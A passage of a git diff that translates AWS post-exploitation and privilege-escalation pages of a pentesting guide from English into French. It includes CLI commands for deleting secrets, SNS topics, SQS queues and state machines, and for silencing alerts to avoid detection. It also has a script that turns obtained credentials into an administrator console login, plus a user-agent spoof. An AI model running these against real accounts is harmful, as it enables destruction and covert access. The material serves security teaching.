+**Pour plus d'infos** [**consultez la recherche originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index e59cbbaaa..21c80cffa 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -4,50 +4,40 @@
 
 ## Secrets Manager
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
 {{#endref}}
 
-### Read Secrets
+### Lire les Secrets
 
-The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
+Les **secrets eux-mêmes sont des informations sensibles**, [consultez la page privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour apprendre comment les lire.
 
-### DoS Change Secret Value
+### DoS Changer la Valeur du Secret
 
-Changing the value of the secret you could **DoS all the system that depends on that value.**
+Changer la valeur du secret pourrait **DoS tout le système qui dépend de cette valeur.**
 
 > [!WARNING]
-> Note that previous values are also stored, so it's easy to just go back to the previous value.
-
+> Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.
 ```bash
 # Requires permission secretsmanager:PutSecretValue
 aws secretsmanager put-secret-value \
-    --secret-id MyTestSecret \
-    --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
 ```
-
-### DoS Change KMS key
-
+### DoS Changer la clé KMS
 ```bash
 aws secretsmanager update-secret \
-    --secret-id MyTestSecret \
-    --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
 ```
+### DoS Suppression de Secret
 
-### DoS Deleting Secret
-
-The minimum number of days to delete a secret are 7
-
+Le nombre minimum de jours pour supprimer un secret est de 7
 ```bash
 aws secretsmanager delete-secret \
-    --secret-id MyTestSecret \
-    --recovery-window-in-days 7
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index e67a07739..e9d4a8f56 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## SES
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-ses-enum.md
@@ -12,76 +12,52 @@ For more information check:
 
 ### `ses:SendEmail`
 
-Send an email.
-
+Envoyer un email.
 ```bash
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-
 Still to test.
 
 ### `ses:SendRawEmail`
 
-Send an email.
-
+Envoyer un e-mail.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-
-Still to test.
-
 ### `ses:SendTemplatedEmail`
 
-Send an email based on a template.
-
+Envoyer un e-mail basé sur un modèle.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-
-Still to test.
-
 ### `ses:SendBulkTemplatedEmail`
 
-Send an email to multiple destinations
-
+Envoyer un e-mail à plusieurs destinataires
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
-
 Still to test.
 
 ### `ses:SendBulkEmail`
 
-Send an email to multiple destinations.
-
+Envoyer un e-mail à plusieurs destinataires.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
-
 ### `ses:SendBounce`
 
-Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email.
-
+Envoyer un **email de rebond** sur un email reçu (indiquant que l'email n'a pas pu être reçu). Cela ne peut être fait **que jusqu'à 24h après la réception** de l'email.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
-
-Still to test.
-
 ### `ses:SendCustomVerificationEmail`
 
-This will send a customized verification email. You might need permissions also to created the template email.
-
+Cela enverra un e-mail de vérification personnalisé. Vous pourriez également avoir besoin de permissions pour créer le modèle d'e-mail.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
-
 Still to test.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index b24660ee1..83d7d0a97 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## SNS
 
-For more information:
+Pour plus d'informations :
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
@@ -12,73 +12,57 @@ For more information:
 
 ### Disrupt Messages
 
-In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected.
+Dans plusieurs cas, les sujets SNS sont utilisés pour envoyer des messages à des plateformes qui sont surveillées (emails, messages slack...). Si un attaquant empêche l'envoi des messages qui alertent de sa présence dans le cloud, il pourrait rester indétecté.
 
 ### `sns:DeleteTopic`
 
-An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic.
-
+Un attaquant pourrait supprimer un sujet SNS entier, entraînant une perte de messages et impactant les applications s'appuyant sur le sujet.
 ```bash
 aws sns delete-topic --topic-arn <value>
 ```
-
-**Potential Impact**: Message loss and service disruption for applications using the deleted topic.
+**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant le sujet supprimé.
 
 ### `sns:Publish`
 
-An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
+Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, provoquant potentiellement une corruption des données, déclenchant des actions non intentionnelles ou épuisant les ressources.
 ```bash
 aws sns publish --topic-arn <value> --message <value>
 ```
-
-**Potential Impact**: Data corruption, unintended actions, or resource exhaustion.
+**Impact potentiel** : Corruption des données, actions non intentionnelles ou épuisement des ressources.
 
 ### `sns:SetTopicAttributes`
 
-An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability.
-
+Un attaquant pourrait modifier les attributs d'un sujet SNS, affectant potentiellement sa performance, sa sécurité ou sa disponibilité.
 ```bash
 aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
 ```
-
-**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
+**Impact potentiel** : Des erreurs de configuration entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite.
 
 ### `sns:Subscribe` , `sns:Unsubscribe`
 
-An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
-
+Un attaquant pourrait s'abonner ou se désabonner d'un sujet SNS, pouvant ainsi obtenir un accès non autorisé aux messages ou perturber le fonctionnement normal des applications s'appuyant sur le sujet.
 ```bash
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 aws sns unsubscribe --subscription-arn <value>
 ```
-
-**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic.
+**Impact potentiel** : Accès non autorisé aux messages, interruption de service pour les applications dépendant du sujet affecté.
 
 ### `sns:AddPermission` , `sns:RemovePermission`
 
-An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic.
-
+Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, ou révoquer les autorisations pour des utilisateurs légitimes, provoquant des interruptions dans le fonctionnement normal des applications qui dépendent du sujet.
 ```css
 aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
 aws sns remove-permission --topic-arn <value> --label <value>
 ```
-
-**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
+**Impact potentiel** : Accès non autorisé au sujet, exposition des messages ou manipulation du sujet par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications s'appuyant sur le sujet.
 
 ### `sns:TagResource` , `sns:UntagResource`
 
-An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources SNS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises.
 ```bash
 aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws sns untag-resource --resource-arn <value> --tag-keys <key>
 ```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index 872693e89..d12ad3fe7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## SQS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md
@@ -12,80 +12,62 @@ For more information check:
 
 ### `sqs:SendMessage` , `sqs:SendMessageBatch`
 
-An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
+Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources.
 ```bash
 aws sqs send-message --queue-url <value> --message-body <value>
 aws sqs send-message-batch --queue-url <value> --entries <value>
 ```
-
-**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
+**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources.
 
 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
 
-An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
-
+Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages.
 ```bash
 aws sqs receive-message --queue-url <value>
 aws sqs delete-message --queue-url <value> --receipt-handle <value>
 aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
 ```
-
-**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
+**Impact potentiel** : Vol d'informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés.
 
 ### `sqs:DeleteQueue`
 
-An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue.
-
+Un attaquant pourrait supprimer une file d'attente SQS entière, entraînant une perte de messages et impactant les applications s'appuyant sur la file d'attente.
 ```arduino
 Copy codeaws sqs delete-queue --queue-url <value>
 ```
-
-**Potential Impact**: Message loss and service disruption for applications using the deleted queue.
+**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant la file d'attente supprimée.
 
 ### `sqs:PurgeQueue`
 
-An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages.
-
+Un attaquant pourrait purger tous les messages d'une file d'attente SQS, entraînant une perte de messages et une interruption potentielle des applications s'appuyant sur ces messages.
 ```arduino
 Copy codeaws sqs purge-queue --queue-url <value>
 ```
-
-**Potential Impact**: Message loss and service disruption for applications relying on the purged messages.
+**Impact potentiel** : Perte de messages et interruption de service pour les applications dépendant des messages purgés.
 
 ### `sqs:SetQueueAttributes`
 
-An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability.
-
+Un attaquant pourrait modifier les attributs d'une file d'attente SQS, affectant potentiellement sa performance, sa sécurité ou sa disponibilité.
 ```arduino
 aws sqs set-queue-attributes --queue-url <value> --attributes <value>
 ```
-
-**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
+**Impact potentiel** : Des erreurs de configuration entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite.
 
 ### `sqs:TagQueue` , `sqs:UntagQueue`
 
-An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Un attaquant pourrait ajouter, modifier ou supprimer des étiquettes des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les étiquettes.
 ```bash
 aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
 aws sqs untag-queue --queue-url <value> --tag-keys <key>
 ```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
 
 ### `sqs:RemovePermission`
 
-An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue.
-
+Un attaquant pourrait révoquer les autorisations pour des utilisateurs ou des services légitimes en supprimant les politiques associées à la file d'attente SQS. Cela pourrait entraîner des perturbations dans le fonctionnement normal des applications qui dépendent de la file d'attente.
 ```arduino
 arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
 ```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.
+**Impact potentiel** : Perturbation du fonctionnement normal des applications s'appuyant sur la file d'attente en raison de la suppression non autorisée des autorisations.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
index 0d636f261..655a9c34d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## SSO & identitystore
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
@@ -12,8 +12,7 @@ For more information check:
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-These permissions can be used to disrupt permissions:
-
+Ces permissions peuvent être utilisées pour perturber les permissions :
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 6a0cd5ba9..d28dbfef6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Step Functions
 
-For more information about this AWS service, check:
+Pour plus d'informations sur ce service AWS, consultez :
 
 {{#ref}}
 ../aws-services/aws-stepfunctions-enum.md
@@ -12,20 +12,19 @@ For more information about this AWS service, check:
 
 ### `states:RevealSecrets`
 
-This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.
+Cette permission permet de **révéler des données secrètes à l'intérieur d'une exécution**. Pour cela, il est nécessaire de définir le niveau d'inspection sur TRACE et le paramètre revealSecrets sur true.
 
 <figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
 
 ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
 
-An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
+Un attaquant disposant de ces permissions pourrait supprimer définitivement des machines d'état, leurs versions et alias. Cela peut perturber des flux de travail critiques, entraîner une perte de données et nécessiter un temps considérable pour récupérer et restaurer les machines d'état affectées. De plus, cela permettrait à un attaquant de couvrir les traces utilisées, de perturber les enquêtes judiciaires et de potentiellement paralyser les opérations en supprimant des processus d'automatisation essentiels et des configurations d'état.
 
 > [!NOTE]
 >
-> - Deleting a state machine you also delete all its associated versions and aliases.
-> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
-> - It is not possible to delete a state machine version currently referenced by one o more aliases.
-
+> - En supprimant une machine d'état, vous supprimez également toutes ses versions et alias associés.
+> - En supprimant un alias de machine d'état, vous ne supprimez pas les versions de la machine d'état référencées par cet alias.
+> - Il n'est pas possible de supprimer une version de machine d'état actuellement référencée par un ou plusieurs alias.
 ```bash
 # Delete state machine
 aws stepfunctions delete-state-machine --state-machine-arn <value>
@@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
 # Delete state machine alias
 aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 ```
-
-- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
+- **Impact potentiel** : Perturbation des flux de travail critiques, perte de données et temps d'arrêt opérationnel.
 
 ### `states:UpdateMapRun`
 
-An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
-
+Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de l'exécution de la carte et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte qu'à chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques.
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```
-
-- **Potential Impact**: Performance degradation, and disruption of critical workflows.
+- **Impact potentiel** : Dégradation des performances et interruption des flux de travail critiques.
 
 ### `states:StopExecution`
 
-An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
+Un attaquant disposant de cette autorisation pourrait être en mesure d'arrêter l'exécution de n'importe quelle machine d'état, perturbant ainsi les flux de travail et les processus en cours. Cela pourrait entraîner des transactions incomplètes, des opérations commerciales arrêtées et une corruption potentielle des données.
 
 > [!WARNING]
-> This action is not supported by **express state machines**.
-
+> Cette action n'est pas prise en charge par les **machines d'état express**.
 ```bash
 aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
 ```
-
-- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
+- **Impact potentiel** : Interruption des flux de travail en cours, temps d'arrêt opérationnel et corruption potentielle des données.
 
 ### `states:TagResource`, `states:UntagResource`
 
-An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises.
 ```bash
 aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 ```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 3cabd1b71..129804695 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -4,21 +4,20 @@
 
 ## STS
 
-For more information:
+Pour plus d'informations :
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### From IAM Creds to Console
+### Des identifiants IAM à la console
 
-If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
-Note that the the user/role must have the permission **`sts:GetFederationToken`**.
+Si vous avez réussi à obtenir des identifiants IAM, vous pourriez être intéressé par **l'accès à la console web** en utilisant les outils suivants.\
+Notez que l'utilisateur/le rôle doit avoir la permission **`sts:GetFederationToken`**.
 
-#### Custom script
-
-The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
+#### Script personnalisé
 
+Le script suivant utilisera le profil par défaut et un emplacement AWS par défaut (ni gov ni cn) pour vous donner une URL signée que vous pouvez utiliser pour vous connecter à la console web :
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no
 output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
 
 if [ $? -ne 0 ]; then
-    echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
-    exit $status
+echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
+exit $status
 fi
 
 # Parse the output
@@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation"
 
 # Make the HTTP request to get the sign-in token
 resp=$(curl -s "$federation_endpoint" \
-    --get \
-    --data-urlencode "Action=getSigninToken" \
-    --data-urlencode "SessionDuration=43200" \
-    --data-urlencode "Session=$json_creds"
+--get \
+--data-urlencode "Action=getSigninToken" \
+--data-urlencode "SessionDuration=43200" \
+--data-urlencode "Session=$json_creds"
 )
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
@@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
-
 #### aws_consoler
 
-You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
-
+Vous pouvez **générer un lien de console web** avec [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -67,27 +64,23 @@ source ./env/bin/activate
 pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
-
 > [!WARNING]
-> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
+> Assurez-vous que l'utilisateur IAM a la permission `sts:GetFederationToken`, ou fournissez un rôle à assumer.
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment.
-
+[**aws-vault**](https://github.com/99designs/aws-vault) est un outil pour stocker et accéder en toute sécurité aux identifiants AWS dans un environnement de développement.
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
-
 > [!NOTE]
-> You can also use **aws-vault** to obtain an **browser console session**
+> Vous pouvez également utiliser **aws-vault** pour obtenir une **session de console de navigateur**
 
-### **Bypass User-Agent restrictions from Python**
-
-If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
+### **Contourner les restrictions User-Agent depuis Python**
 
+S'il y a une **restriction pour effectuer certaines actions en fonction de l'agent utilisateur** utilisé (comme restreindre l'utilisation de la bibliothèque python boto3 en fonction de l'agent utilisateur), il est possible d'utiliser la technique précédente pour **se connecter à la console web via un navigateur**, ou vous pourriez directement **modifier l'agent utilisateur de boto3** en faisant :
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda
 # Perform the action
 response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
index fe4f69e25..c9c79f06f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
@@ -4,14 +4,10 @@
 
 ## VPN
 
-For more information:
+Pour plus d'informations :
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index ba8374b41..231908047 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -1,27 +1,23 @@
-# AWS - Privilege Escalation
+# AWS - Élévation de privilèges
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## AWS Privilege Escalation
+## Élévation de privilèges AWS
 
-The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization.
+La façon d'élever vos privilèges dans AWS est d'avoir suffisamment de permissions pour pouvoir, d'une manière ou d'une autre, accéder aux privilèges d'autres rôles/utilisateurs/groupes. Enchaînant les élévations jusqu'à obtenir un accès administrateur sur l'organisation.
 
 > [!WARNING]
-> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
+> AWS a **des centaines** (voire des milliers) de **permissions** qui peuvent être accordées à une entité. Dans ce livre, vous pouvez trouver **toutes les permissions que je connais** que vous pouvez abuser pour **élever des privilèges**, mais si vous **connaissez un chemin** non mentionné ici, **merci de le partager**.
 
 > [!CAUTION]
-> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\
-> So remember that this is another way to **grant privileged permissions** to a principal.
+> Si une politique IAM a `"Effect": "Allow"` et `"NotAction": "Someaction"` indiquant une **ressource**... cela signifie que le **principal autorisé** a **la permission de faire TOUT sauf cette action spécifiée**.\
+> Donc, rappelez-vous que c'est une autre façon de **conceder des permissions privilégiées** à un principal.
 
-**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.**
+**Les pages de cette section sont ordonnées par service AWS. Vous y trouverez des permissions qui vous permettront d'élever des privilèges.**
 
-## Tools
+## Outils
 
 - [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py)
 - [Pacu](https://github.com/RhinoSecurityLabs/pacu)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 7f7edbc6e..1ebe47191 100644
